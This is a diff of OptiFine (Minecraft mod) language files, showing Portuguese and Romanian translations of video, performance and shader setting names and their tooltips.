+of.options.CUSTOM_GUIS.tooltip.1=Interfaces personalizadas +of.options.CUSTOM_GUIS.tooltip.2= Sim - interfaces personalizadas (padrão), lento +of.options.CUSTOM_GUIS.tooltip.3= Não - interface padrão, rápido +of.options.CUSTOM_GUIS.tooltip.4=As interfaces personalizadas são suportadas pelo +of.options.CUSTOM_GUIS.tooltip.5=pacote de recursos atual. + +# Details - Detalhes + +of.options.CLOUDS=Nuvens +of.options.CLOUDS.tooltip.1=Nuvens +of.options.CLOUDS.tooltip.2= Padrão - de acordo com a definição dos gráficos +of.options.CLOUDS.tooltip.3= Rápidas - pouca qualidade, rápido +of.options.CLOUDS.tooltip.4= Elegantes - alta qualidade, lento +of.options.CLOUDS.tooltip.5= Não - sem nuvens, muito rápido +of.options.CLOUDS.tooltip.6=Nuvens rápidas são renderizadas em 2D. +of.options.CLOUDS.tooltip.7=Nuvens elegantes são renderizadas em 3D. + +of.options.CLOUD_HEIGHT=Altura das nuvens +of.options.CLOUD_HEIGHT.tooltip.1=Altura das nuvens +of.options.CLOUD_HEIGHT.tooltip.2= Não - altura padrão +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - acima do limite do mundo + +of.options.TREES=Ãrvores +of.options.TREES.tooltip.1=Ãrvores +of.options.TREES.tooltip.2= Padrão - de acordo com a definição dos gráficos +of.options.TREES.tooltip.3= Rápidas - menos qualidade, muito rápido +of.options.TREES.tooltip.4= Garridas - alta qualidade, rápido +of.options.TREES.tooltip.5= Elegantes - melhor qualidade, lento +of.options.TREES.tooltip.6=As árvores rápidas possuem as folhas opacas. +of.options.TREES.tooltip.7=As garridas e elegantes possuem as folhas +of.options.TREES.tooltip.8=transparentes. + +of.options.RAIN=Chuva e neve +of.options.RAIN.tooltip.1=Chuva e neve +of.options.RAIN.tooltip.2= Padrão - de acordo com a definição dos gráficos +of.options.RAIN.tooltip.3= Rápida - chuva/neve suave rápido +of.options.RAIN.tooltip.4= Elegantes - chuva/neve pesada, lento +of.options.RAIN.tooltip.5= Não - sem chuva/neve, muito rápido +of.options.RAIN.tooltip.6=Quando a chuva está desativada, os pingos e o barulho +of.options.RAIN.tooltip.7=continuam ativos. + +of.options.SKY=Céu +of.options.SKY.tooltip.1=Céu +of.options.SKY.tooltip.2= Sim - o céu é visível, lento +of.options.SKY.tooltip.3= Não - o céu não é visível, rápido +of.options.SKY.tooltip.4=Quando o céu está desativado, a lua e o sol continuam +of.options.SKY.tooltip.5=visíveis. + +of.options.STARS=Estrelas +of.options.STARS.tooltip.1=Estrelas +of.options.STARS.tooltip.2= Sim - as estrelas são visíveis, lento +of.options.STARS.tooltip.3= Não - as estrelas não são visíveis, rápido + +of.options.SUN_MOON=Sol e lua +of.options.SUN_MOON.tooltip.1=Sol e lua +of.options.SUN_MOON.tooltip.2= Sim - o sol e a lua são visíveis (padrão) +of.options.SUN_MOON.tooltip.3= Não - o sol e a lua não são visíveis (rápido) + +of.options.SHOW_CAPES=Mostrar as capas +of.options.SHOW_CAPES.tooltip.1=Mostrar as capas +of.options.SHOW_CAPES.tooltip.2= Sim - mostrar as capas dos jogadores (padrão) +of.options.SHOW_CAPES.tooltip.3= Não - não mostrar as capas dos jogadores + +of.options.TRANSLUCENT_BLOCKS=Blocos trans. +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocos translúcidos +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Padrão - definido pelos gráficos +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Elegantes - transição de cores correta (lento) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Rápidos - transição de cores rápida (rápido) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Controla a transição das cores dos blocos +of.options.TRANSLUCENT_BLOCKS.tooltip.6=translúcidos com várias cores (vidro, água, gelo) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=quando colocados atrás uns dos outros com ar +of.options.TRANSLUCENT_BLOCKS.tooltip.8=entre eles. + +of.options.HELD_ITEM_TOOLTIPS=Desc. do item em mão +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Descrição do item em mão +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sim - dispor a descrição do item em mão (padrão) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Não - não dispor a descrição dos itens em mãos + +of.options.ADVANCED_TOOLTIPS=Desc. avançadas +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descrições avançadas +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sim - dispor as descrições avançadas +of.options.ADVANCED_TOOLTIPS.tooltip.3= Não - não dispor as descrições avançadas (padrão) +of.options.ADVANCED_TOOLTIPS.tooltip.4=As descrições avançadas dispõem informação adicional +of.options.ADVANCED_TOOLTIPS.tooltip.5=para os itens (id, durabilidade) e para as opções das +of.options.ADVANCED_TOOLTIPS.tooltip.6=shaders (id, origem, valor padrão). + +of.options.DROPPED_ITEMS=Itens no chão +of.options.DROPPED_ITEMS.tooltip.1=Itens no chão +of.options.DROPPED_ITEMS.tooltip.2= Padrão - definido pelos gráficos +of.options.DROPPED_ITEMS.tooltip.3= Rápidos - itens 2D (rápido) +of.options.DROPPED_ITEMS.tooltip.4= Elegantes - itens 3D (lento) + +options.entityShadows.tooltip.1=Sombras de entidades +options.entityShadows.tooltip.2= Sim - mostrar as sombras das entidades +options.entityShadows.tooltip.3= Não - não mostrar as sombras das entidades + +of.options.VIGNETTE=Vinheta +of.options.VIGNETTE.tooltip.1=Efeito visual que escurece os cantos do ecrã +of.options.VIGNETTE.tooltip.2= Padrão - definido pelos gráficos (padrão) +of.options.VIGNETTE.tooltip.3= Rápido - vinheta desativada (rápido) +of.options.VIGNETTE.tooltip.4= Elegante - vinheta ativada (lento) +of.options.VIGNETTE.tooltip.5=A vinheta pode ter um efeito significante nos fps, +of.options.VIGNETTE.tooltip.6=especialmente se estiveres a jogar em ecrã inteiro. +of.options.VIGNETTE.tooltip.7=O efeito na vinheta é muito subtil e pode ser desativada +of.options.VIGNETTE.tooltip.8=sem nenhum problema. + +of.options.DYNAMIC_FOV=Visão dinâmica +of.options.DYNAMIC_FOV.tooltip.1=Visão dinâmica +of.options.DYNAMIC_FOV.tooltip.2= Sim - ativar visão dinâmica (padrão) +of.options.DYNAMIC_FOV.tooltip.3= Não - desativar visão dinâmica +of.options.DYNAMIC_FOV.tooltip.4=Altera a área de visão enquanto voas, corres +of.options.DYNAMIC_FOV.tooltip.5=ou estás prestes a disparar uma flecha. + +of.options.DYNAMIC_LIGHTS=Luzes dinâmicas +of.options.DYNAMIC_LIGHTS.tooltip.1=Luzes dinâmicas +of.options.DYNAMIC_LIGHTS.tooltip.2= Não - sem luzes dinâmicas (padrão) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rápidas - luzes din. rápidas (atualizam a cada 500m) +of.options.DYNAMIC_LIGHTS.tooltip.4= Elegantes - luzes din. elegantes (at. em tempo real) +of.options.DYNAMIC_LIGHTS.tooltip.5=Permite que os itens emissores de luz (tochas, +of.options.DYNAMIC_LIGHTS.tooltip.6=lava, etc.) iluminem tudo ao seu redor quando +of.options.DYNAMIC_LIGHTS.tooltip.7=são segurados pelo jogador, por outro jogador, ou +of.options.DYNAMIC_LIGHTS.tooltip.8=mesmo quando atirados para o chão. + +options.biomeBlendRadius.tooltip.1=Otimiza a transição de cores entre os biomas +options.biomeBlendRadius.tooltip.2= Não - sem transição (rápido) +options.biomeBlendRadius.tooltip.3= 5x5 - transição normal (padrão) +options.biomeBlendRadius.tooltip.4= 15x15 - transição máxima (lento) +options.biomeBlendRadius.tooltip.5=Valores elevados podem causar "espinhos de lag" +options.biomeBlendRadius.tooltip.6=significantes e atrasar o carregamento dos chunks. + +# Performance + +of.options.SMOOTH_FPS=Fps fluídos +of.options.SMOOTH_FPS.tooltip.1=Estabiliza os fps com uma descarga dos buffers +of.options.SMOOTH_FPS.tooltip.2=da placa gráfica. +of.options.SMOOTH_FPS.tooltip.3= Não - sem estabilização dos fps, os fps podem flutuar +of.options.SMOOTH_FPS.tooltip.4= Sim - estabilização dos fps +of.options.SMOOTH_FPS.tooltip.5=Esta opção é dependente da placa gráfica e os +of.options.SMOOTH_FPS.tooltip.6=seus efeitos nem sempre são visíveis. + +of.options.SMOOTH_WORLD=Mundo fluído +of.options.SMOOTH_WORLD.tooltip.1=Remove os "espinhos de lag" causados pelo +of.options.SMOOTH_WORLD.tooltip.2=servidor interno. +of.options.SMOOTH_WORLD.tooltip.3= Não - sem estabilização, os fps podem flutuar +of.options.SMOOTH_WORLD.tooltip.4= Sim - estabilização dos fps +of.options.SMOOTH_WORLD.tooltip.5=Estabiliza os fps distribuindo o carregamento interno +of.options.SMOOTH_WORLD.tooltip.6=do servidor. Só é eficaz em mundos locais. + +of.options.FAST_RENDER=Carreg. ráp. de chunks +of.options.FAST_RENDER.tooltip.1=Carregamento rápido de chunks +of.options.FAST_RENDER.tooltip.2= Não - carregamento predefinido (padrão) +of.options.FAST_RENDER.tooltip.3= Sim - carregamento melhorado (rápido) +of.options.FAST_RENDER.tooltip.4=Usa um algoritmo de carregamento otimizado que diminui +of.options.FAST_RENDER.tooltip.5=a carga do GPU e pode aumentar ligeiramente os fps. +of.options.FAST_RENDER.tooltip.6=Esta opção pode entrar em conflito com alguns mods. + +of.options.FAST_MATH=Matemá. rápida +of.options.FAST_MATH.tooltip.1=Matemática rápida +of.options.FAST_MATH.tooltip.2= Não - matemática predefinido (padrão) +of.options.FAST_MATH.tooltip.3= Sim - matemática rápida +of.options.FAST_MATH.tooltip.4=Melhora as funções do sin() e do cos() que melhoram +of.options.FAST_MATH.tooltip.5=a utilização do cache do CPU e aumentam os fps. +of.options.FAST_MATH.tooltip.6=Esta opção tem um efeito mínimo na geração do mundo. + +of.options.CHUNK_UPDATES=Atual. dos chunks +of.options.CHUNK_UPDATES.tooltip.1=Atualização dos chunks +of.options.CHUNK_UPDATES.tooltip.2= 1 - carregamento lento do mundo, mais fps (padrão) +of.options.CHUNK_UPDATES.tooltip.3= 3 - carregamento rápido do mundo, menos fps +of.options.CHUNK_UPDATES.tooltip.4= 5 - carregamento insano do mundo, muito menos fps +of.options.CHUNK_UPDATES.tooltip.5=Número de chunks atualizados por cada fps carregado. +of.options.CHUNK_UPDATES.tooltip.6=Quanto mais alto o valor, maior a possiblidade de +of.options.CHUNK_UPDATES.tooltip.7=destabilização do limite de fps. + +of.options.CHUNK_UPDATES_DYNAMIC=Atual. dinâmicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Atualizações dinâmicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Não - atuatização padrão dos chunks por fps +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sim - mais atualizações enquanto o jogador está imóvel +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=As atualizações dinâmicas forçam o carregamento de +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=chunks enquanto o jogador está imóvel para carregar +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=o mundo mais rapidamente. + +of.options.LAZY_CHUNK_LOADING=Carr. lento dos chunks +of.options.LAZY_CHUNK_LOADING.tooltip.1=Carregamento lento dos chunks +of.options.LAZY_CHUNK_LOADING.tooltip.2= Não - carregamento padrão dos chunks +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sim - carregamento lento dos chunks (maior fluidez) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Otimiza o carregamento de chunks integrados no +of.options.LAZY_CHUNK_LOADING.tooltip.5=servidor, distribuindo-os por vários tiques. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Desliga esta opção se o mundo não estiver a carregar +of.options.LAZY_CHUNK_LOADING.tooltip.7=corretamente. Só é eficaz em mundos locais. + +of.options.RENDER_REGIONS=Carr. de regiões +of.options.RENDER_REGIONS.tooltip.1=Carregamento de regiões +of.options.RENDER_REGIONS.tooltip.2= Não - não usar o carregamento de regiões (padrão) +of.options.RENDER_REGIONS.tooltip.3= Sim - usar o carregamento de regiões +of.options.RENDER_REGIONS.tooltip.4=O carregamento de regiões permite um carregamento +of.options.RENDER_REGIONS.tooltip.5=mais rápido do terreno para um alcance visual elevado. +of.options.RENDER_REGIONS.tooltip.6=Mais eficaz quando os VBOS estão ativos. +of.options.RENDER_REGIONS.tooltip.7=Não é recomendável para placas gráficas integradas. + +of.options.SMART_ANIMATIONS=Anim. inteligentes +of.options.SMART_ANIMATIONS.tooltip.1=Animações inteligentes +of.options.SMART_ANIMATIONS.tooltip.2= Não - não usar animações inteligentes (padrão) +of.options.SMART_ANIMATIONS.tooltip.3= Sim - usar animações inteligentes +of.options.SMART_ANIMATIONS.tooltip.4=Com as animações inteligentes, o jogo só irá animar +of.options.SMART_ANIMATIONS.tooltip.5=as texturas que estão atualmente visíveis no ecrã. +of.options.SMART_ANIMATIONS.tooltip.6=Isto reduzirá os "espinhos de lag" e aumentará os fps. +of.options.SMART_ANIMATIONS.tooltip.7=Útil para modpacks em grande escala e pacotes de +of.options.SMART_ANIMATIONS.tooltip.8=recursos de alta definição. + +# Animations + +of.options.animation.allOn=Sim +of.options.animation.allOff=Não +of.options.animation.dynamic=Dinâmico + +of.options.ANIMATED_WATER=Animação da água +of.options.ANIMATED_LAVA=Animação da lava +of.options.ANIMATED_FIRE=Animação do fogo +of.options.ANIMATED_PORTAL=Animação dos portais +of.options.ANIMATED_REDSTONE=Animação da redstone +of.options.ANIMATED_EXPLOSION=Animação de explosões +of.options.ANIMATED_FLAME=Animação de chamas +of.options.ANIMATED_SMOKE=Animação de fumo +of.options.VOID_PARTICLES=Partículas do vazio +of.options.WATER_PARTICLES=Partículas da água +of.options.RAIN_SPLASH=Salpicos da chuva +of.options.PORTAL_PARTICLES=Partículas dos portais +of.options.POTION_PARTICLES=Partículas das poções +of.options.DRIPPING_WATER_LAVA=Correntes de água/lava +of.options.ANIMATED_TERRAIN=Animação do terreno +of.options.ANIMATED_TEXTURES=Animação de texturas +of.options.FIREWORK_PARTICLES=Partí. de fogos de artif. + +# Other + +of.options.LAGOMETER=Lagómetro +of.options.LAGOMETER.tooltip.1=Dispõe o lagómetro no ecrã de depuração (F3). +of.options.LAGOMETER.tooltip.2=* Laranja - Colecionador da "memória entulhada" +of.options.LAGOMETER.tooltip.3=* Ciano - Tiques +of.options.LAGOMETER.tooltip.4=* Azul - Executáveis agendados +of.options.LAGOMETER.tooltip.5=* Roxo - Envio de chunks +of.options.LAGOMETER.tooltip.6=* Vermelho - Chunks atualizados +of.options.LAGOMETER.tooltip.7=* Amarelo - Verificação de visibilidade +of.options.LAGOMETER.tooltip.8=* Verde - Terreno carregado + +of.options.PROFILER=Depur. do perfil +of.options.PROFILER.tooltip.1=Depuração do perfil +of.options.PROFILER.tooltip.2= Sim - a depuração do perfil está ativa, lento +of.options.PROFILER.tooltip.3= Não - a depuração do perfil não está ativa, rápido +of.options.PROFILER.tooltip.4=A depuração do perfil recolhe e dispõe informação +of.options.PROFILER.tooltip.5=da depuração quando quando o ecrã de depuração está +of.options.PROFILER.tooltip.6=visível (F3). + +of.options.WEATHER=Clima +of.options.WEATHER.tooltip.1=Clima +of.options.WEATHER.tooltip.2= Sim - o clima está ativo, lento +of.options.WEATHER.tooltip.3= Não - o clima não está ativo, rápido +of.options.WEATHER.tooltip.4=O clima controla a chuva, a neve e as trovoadas. +of.options.WEATHER.tooltip.5=O controlo do clima só é possível em mundos locais. + +of.options.time.dayOnly=Sempre de dia +of.options.time.nightOnly=Sempre de noite + +of.options.TIME=Tempo +of.options.TIME.tooltip.1=Tempo +of.options.TIME.tooltip.2= Padrão - ciclos diurnos/noturnos normais +of.options.TIME.tooltip.3= Dia - sempre de dia +of.options.TIME.tooltip.4= Noite - sempre de noite +of.options.TIME.tooltip.5=Esta definição só é eficaz no modo criativo +of.options.TIME.tooltip.6=e em mundos locais. + +options.fullscreen.tooltip.1=Ecrã inteiro +options.fullscreen.tooltip.2= Sim - usar o modo de ecrã inteiro +options.fullscreen.tooltip.3= Não - usar o modo de janela +options.fullscreen.tooltip.4=Dependendo da placa gráfica, o ecrã inteiro pode +options.fullscreen.tooltip.5=ser mais rápido ou mais lento que o modo em janela. + +options.fullscreen.resolution=Modo de ecrã inteiro +options.fullscreen.resolution.tooltip.1=Modo de ecrã inteiro +options.fullscreen.resolution.tooltip.2= Padrão - usa a resolução de ecrã do computador, lento +options.fullscreen.resolution.tooltip.3= WxH - usa uma resolução de ecrã personalizada, +options.fullscreen.resolution.tooltip.4=pode ser mais rápido +options.fullscreen.resolution.tooltip.5=A resolução selecionada é usada no modo de ecrã inteiro (F11). +options.fullscreen.resolution.tooltip.6=Resoluções baixas tendem a ser mais rápidas. + +of.options.SHOW_FPS=Exibir os fps +of.options.SHOW_FPS.tooltip.1=Dispõe os fps e a informação de carregamento. +of.options.SHOW_FPS.tooltip.2= fps - aproximados/mínimos +of.options.SHOW_FPS.tooltip.3= C: - chunks carregados +of.options.SHOW_FPS.tooltip.4= E: - entidades carregadas + entidades dos blocos +of.options.SHOW_FPS.tooltip.5= U: - atualização dos chunks +of.options.SHOW_FPS.tooltip.6=A informação compacta só é mostrada quando o +of.options.SHOW_FPS.tooltip.7=ecrã de depuração não está visível. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Gravação automática +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalo entre cada gravação +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - padrão +of.options.AUTOSAVE_TICKS.tooltip.3=Dependendo do alcance visual, a gravação automática +of.options.AUTOSAVE_TICKS.tooltip.4=pode gerar "espinhos de lag". +of.options.AUTOSAVE_TICKS.tooltip.5=O mundo também é guardado quando o menu do jogo é aberto. + +of.options.SCREENSHOT_SIZE=Tam. da capt. de ecrã +of.options.SCREENSHOT_SIZE.tooltip.1=Tamanho da captura de ecrã +of.options.SCREENSHOT_SIZE.tooltip.2= padrão - tamanho padrão +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tamanho personalizado +of.options.SCREENSHOT_SIZE.tooltip.4=Capturas de ecrã maiores podem precisar de mais +of.options.SCREENSHOT_SIZE.tooltip.5=memória. Não é compatível com carregamento de +of.options.SCREENSHOT_SIZE.tooltip.6=chunks rápido e o antiserrilhamento. Requer +of.options.SCREENSHOT_SIZE.tooltip.7=um suporte do buffer do limite de fps do GPU. + +of.options.SHOW_GL_ERRORS=Exibir erros da GL +of.options.SHOW_GL_ERRORS.tooltip.1=Exibir os erros GL +of.options.SHOW_GL_ERRORS.tooltip.2=Quando ativado, os erros do OpenGL são exibidos no +of.options.SHOW_GL_ERRORS.tooltip.3=chat. Apenas desativa se existir um conflito +of.options.SHOW_GL_ERRORS.tooltip.4=conhecido e esse erro não puder ser corrigido. +of.options.SHOW_GL_ERRORS.tooltip.5=Quando desativado, os erros são registados no log +of.options.SHOW_GL_ERRORS.tooltip.6=de erros e podem causar na mesma uma queda +of.options.SHOW_GL_ERRORS.tooltip.7=significante de fps. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fundo do chat +of.options.CHAT_BACKGROUND.tooltip.1=Fundo do chat +of.options.CHAT_BACKGROUND.tooltip.2= Padrão - largura igualada +of.options.CHAT_BACKGROUND.tooltip.3= Compacta - corresponde com a largura da linha +of.options.CHAT_BACKGROUND.tooltip.4= Não - escondido + +of.options.CHAT_SHADOW=Sombras do chat +of.options.CHAT_SHADOW.tooltip.1=Sombras do chat +of.options.CHAT_SHADOW.tooltip.2= Ligado - usar sombras no texto +of.options.CHAT_SHADOW.tooltip.3= Desligado - não usar sombras no texto diff --git a/src/assets/minecraft/optifine/lang/ro_ro.lang b/src/assets/minecraft/optifine/lang/ro_ro.lang new file mode 100644 index 00000000..6f688e22 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/ro_ro.lang @@ -0,0 +1,693 @@ +#Tradus in romana de nicuch + +# General +of.general.ambiguous=ambiguu +of.general.custom=Personalizat +of.general.from=Din +of.general.id=Id +of.general.restart=restart +of.general.smart=Destept + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Anti-aliasing nu este compatibil cu Shader. +of.message.aa.shaders2=Dezactiveaza Shader pentru a activa aceasta optiune. + +of.message.af.shaders1=Filtrul Anisotropic nu este compatibil cu Shader. +of.message.af.shaders2=Dezactiveaza Shader pentru a activa aceasta optiune. + +of.message.fr.shaders1=Redarea Rapida nu este compatibila cu Shader. +of.message.fr.shaders2=Dezactiveaza Shader pentru a activa aceasta optiune. + +of.message.an.shaders1=Viziunea 3D nu este compatibila cu Shader. +of.message.an.shaders2=Dezactiveaza Shader pentru a activa aceasta optiune. + +of.message.shaders.aa1=Shaderul nu este compatibil cu Anti-aliasing. +of.message.shaders.aa2=Seteaza Calitate -> Anti-aliasing pe OPRIT si restarteaza jocul. + +of.message.shaders.af1=Shaderul nu este compatibil cu Filtrul Anisotropic. +of.message.shaders.af2=Seteaza Calitate -> Filtrul Anisotropic pe OPRIT. + +of.message.shaders.fr1=Shaderul nu este compatibil cu Redarea Rapida. +of.message.shaders.fr2=Seteaza Performanta -> Redare Rapida pe OPRIT. + +of.message.shaders.an1=Shaderul nu este compatibil cu Viziunea 3D. +of.message.shaders.an2=Seteaza Altele -> Viziune 3D pe OPRIT. + +of.message.shaders.nv1=Acest shader necesita o noua versiune a Optifine-ului, versiunea: %s +of.message.shaders.nv2=Esti sigur(a) ca doresti sa continui? + +of.message.newVersion=O versiune noua de §eOptiFine§f este valabila: §e%s§f +of.message.java64Bit=Poti instala versiunea de §e64-bit Java§f pentru a creste performanta. +of.message.openglError=§eEroare OpenGL§f: %s (%s) + +of.message.shaders.loading=Shaderul se incarca: %s + +of.message.other.reset=Resetezi toate setarile video in valorile implicite? + +of.message.loadingVisibleChunks=Incarca chunk-urile vizibile + +# Video settings + +options.graphics.tooltip.1=Calitate vizuala +options.graphics.tooltip.2= Rapid - calitate mica, rapid +options.graphics.tooltip.3= Atractiv - calitate mare, lent +options.graphics.tooltip.4=Schimba aspectul norilor, frunzelor, apei, +options.graphics.tooltip.5=umbrelor si fetele ierbii. + +of.options.renderDistance.tiny=Mic +of.options.renderDistance.short=Scurt +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Departe +of.options.renderDistance.extreme=Extrem +of.options.renderDistance.insane=Nebun +of.options.renderDistance.ludicrous=Ridicol + +options.renderDistance.tooltip.1=Distanta vizibila +options.renderDistance.tooltip.2= 2 Mic - 32m (rapid) +options.renderDistance.tooltip.3= 4 Scurt - 64m (rapid) +options.renderDistance.tooltip.4= 8 Normal - 128m +options.renderDistance.tooltip.5= 16 Departe - 256m (lent) +options.renderDistance.tooltip.6= 32 Extrem - 512m (foarte lent!) +options.renderDistance.tooltip.7=Vederea la distanta Extrem este foarte solicitant pentru resurse! +options.renderDistance.tooltip.8=Valorile peste 16 Departe are efect doar intr-o lume locala. + +options.ao.tooltip.1=Lumina neteda +options.ao.tooltip.2= OPRIT - fara lumina neteda (rapid) +options.ao.tooltip.3= Minim - lumina neteda simpla (lent) +options.ao.tooltip.4= Maxim - lumina neteda complexa (foarte lent) + +options.framerateLimit.tooltip.1=Rata de cadre maxima +options.framerateLimit.tooltip.2= VSync - limiteaza rata de cadre a monitorului (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variabile +options.framerateLimit.tooltip.4= Nelimitat - fara limita (foarte rapid) +options.framerateLimit.tooltip.5=Limita de cadre scade chiar daca +options.framerateLimit.tooltip.6=valoarea limitei nu este atinsa. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Nivel de lumina neteda +of.options.AO_LEVEL.tooltip.1=Nivel de lumina neteda +of.options.AO_LEVEL.tooltip.2= OPRIT - fara umbre +of.options.AO_LEVEL.tooltip.3= 50%% - umbre deschise +of.options.AO_LEVEL.tooltip.4= 100%% - umbre inchise + +options.viewBobbing.tooltip.1=Miscare mai realista. +options.viewBobbing.tooltip.2=Cand utilizati mip-maps, setati-l pe OPRIT pentru rezultate optime. + +options.guiScale.tooltip.1=Dimensiune GUI +options.guiScale.tooltip.2= Automat - marime maxima +options.guiScale.tooltip.3= Mic, Normal, Larg - 1x la 3x +options.guiScale.tooltip.4= 4x la 10x - valabil pe ecranele 4K +options.guiScale.tooltip.5=Valorile impare (1x, 3x, 5x ...) nu sunt compatibile cu Unicode. +options.guiScale.tooltip.6=Un GUI mic poate fi mai rapid. + +options.vbo=FoloseÈ™te VBO-uri +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Foloseste un model de render alternativ care de obicei +options.vbo.tooltip.3=este mai rapid (5-10%%) fata de renderul implicit. + +options.gamma.tooltip.1=Schimba luminozitatea obiectelor negre. +options.gamma.tooltip.2= Intunecos - luminozitate standard +options.gamma.tooltip.3= 1-99%% - variabile +options.gamma.tooltip.4= Luminos - luminozitate maxima pentru obiecte negre. +options.gamma.tooltip.5=Aceasta optiune nu schimba luminozitatea +options.gamma.tooltip.6=obiectelor total negre. + +options.anaglyph.tooltip.1=Viziune 3D +options.anaglyph.tooltip.2=Activeaza un efect stereoscopic 3D folosind culori diferite +options.anaglyph.tooltip.3=pentru fiecare ochi. +options.anaglyph.tooltip.4=Necesita ochelari cu lentile rosu-cyan pentru vizualizarea adecvata. + +of.options.ALTERNATE_BLOCKS=Blocuri Alternative +of.options.ALTERNATE_BLOCKS.tooltip.1=Blocuri Alternative +of.options.ALTERNATE_BLOCKS.tooltip.2=Foloseste modele alternative (succesive) pentru unele blocuri. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depinde de pachetul de resurse selectat. + +of.options.FOG_FANCY=Ceata +of.options.FOG_FANCY.tooltip.1=Tip de ceata +of.options.FOG_FANCY.tooltip.2= Rapid - ceata rara +of.options.FOG_FANCY.tooltip.3= Atractiv - ceata deasa, arata mai bine +of.options.FOG_FANCY.tooltip.4= OPRIT - fara ceata, rapid +of.options.FOG_FANCY.tooltip.5=Ceata eleganta este valabila doar pentru +of.options.FOG_FANCY.tooltip.6=placa grafica care suporta. + +of.options.FOG_START=Pornire ceata +of.options.FOG_START.tooltip.1=Pornire ceata +of.options.FOG_START.tooltip.2= 0.2 - ceata incepe aproape fata de jucator +of.options.FOG_START.tooltip.3= 0.8 - ceata incepe departe fata de jucator +of.options.FOG_START.tooltip.4=Aceasta optiune nu afecteaza de obicei performanta. + +of.options.CHUNK_LOADING=Incarcare Chunk-uri +of.options.CHUNK_LOADING.tooltip.1=Incarcare Chunk-uri +of.options.CHUNK_LOADING.tooltip.2= Implicit - FPS instabil cand chunk-urile sunt incarcate +of.options.CHUNK_LOADING.tooltip.3= Neted - FPS stabil +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - FPS stabil, de 3 ori mai rapida incarcarea chunk-urilor +of.options.CHUNK_LOADING.tooltip.5=Neted si Multi-Core elimina impiedicarea si +of.options.CHUNK_LOADING.tooltip.6=inghetarea cauzata de incarcarea chunk-urilor. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core poate accelera incarcarea lumii de 3 ori +of.options.CHUNK_LOADING.tooltip.8=crescand FPS utilizand un al 2-lea necleu al CPU-ului. +of.options.chunkLoading.smooth=Neted +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shadere... +of.options.shadersTitle=Shadere + +of.options.shaders.packNone=OPRIT +of.options.shaders.packDefault=(internal) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= OPRIT - (implcit) cu margini defecte (rapid) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - fara linii si margini defecte (lent) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA este un efect de re-procesare care netezeste +of.options.shaders.ANTIALIASING.tooltip.5=liniile defecte (crestate) si imbunatateste tranzitia de culoare. +of.options.shaders.ANTIALIASING.tooltip.6=Este mai rapid decat antialiasing +of.options.shaders.ANTIALIASING.tooltip.7=si este compatibil cu shader-ul si Renarea Rapida. + +of.options.shaders.NORMAL_MAP=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.1=Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= ACTIV - (implicit) activeaza normal map +of.options.shaders.NORMAL_MAP.tooltip.3= OPRIT - dezactiveaza normal map +of.options.shaders.NORMAL_MAP.tooltip.4=Normal map poate fi folsit de un shader +of.options.shaders.NORMAL_MAP.tooltip.5=pentru a simula modele 3D pe suprafate plate. +of.options.shaders.NORMAL_MAP.tooltip.6=Texturile sunt furnizate de +of.options.shaders.NORMAL_MAP.tooltip.7=pachetul de resurse curent. + +of.options.shaders.SPECULAR_MAP=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.1=Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= ACTIV - (implicit) activeaza specular map +of.options.shaders.SPECULAR_MAP.tooltip.3= OPRIT - dezactiveaza specular map +of.options.shaders.SPECULAR_MAP.tooltip.4=Specular map poate fi folsit de un shader +of.options.shaders.SPECULAR_MAP.tooltip.5=pentru a simula efecte de reflectie. +of.options.shaders.SPECULAR_MAP.tooltip.6=Texturile sunt furnizate de +of.options.shaders.SPECULAR_MAP.tooltip.7=pachetul de resurse curent. + +of.options.shaders.RENDER_RES_MUL=Calitate Render +of.options.shaders.RENDER_RES_MUL.tooltip.1=Calitate Render +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - mic (rapid) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standard (implicit) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - mare (lent) 